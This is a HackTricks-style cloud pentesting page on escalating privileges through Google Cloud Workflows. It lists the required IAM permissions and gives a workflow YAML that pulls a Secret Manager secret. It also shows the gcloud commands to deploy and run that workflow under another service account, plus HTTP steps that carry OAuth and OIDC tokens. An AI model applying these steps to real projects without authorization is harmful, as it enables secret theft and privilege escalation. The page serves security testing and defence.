GCP - Workflows Privesc

{{#include ../../../banners/hacktricks-training.md}}

Workflows

Basic Information:

{{#ref}}
../gcp-services/gcp-workflows-enum.md
{{#endref}}

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.

It's possible to find the documentation of the connectors. For example, this is the page of the Secretmanager connector. In the side bar it's possible to find several other connectors.

And here you can find an example of a connector that prints a secret:

main:
  params: [input]
  steps:
    - access_string_secret:
        call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
        args:
          secret_id: secret_name
          version: 1
          project_id: project-id
        result: str_secret
    - returnOutput:
        return: "${str_secret}"

Update from the CLI:

gcloud workflows deploy <workflow-name> \
    --service-account=email@SA \
    --source=/path/to/config.yaml \
    --location us-central1

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Note that even if you get an error like PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... because you don't have that permission, the workflow has been generated.

Leak OIDC token (and OAuth?)

According to the docs it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of Cloud Scheduler, the HTTP request with the Oauth token must be to the host .googleapis.com.

Oauth

    - step_A:
      call: http.post
      args:
          url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
          auth:
              type: OAuth2
              scopes: OAUTH_SCOPE

OIDC

    - step_A:
      call: http.get
      args:
          url: https://us-central1-project.cloudfunctions.net/functionA
          query:
              firstNumber: 4
              secondNumber: 6
              operation: sum
          auth:
              type: OIDC
              audience: OIDC_AUDIENCE

workflows.workflows.update ...

With this permission instead of workflows.workflows.create it's possible to update an already existing workflow and perform the same attacks.

{{#include ../../../banners/hacktricks-training.md}}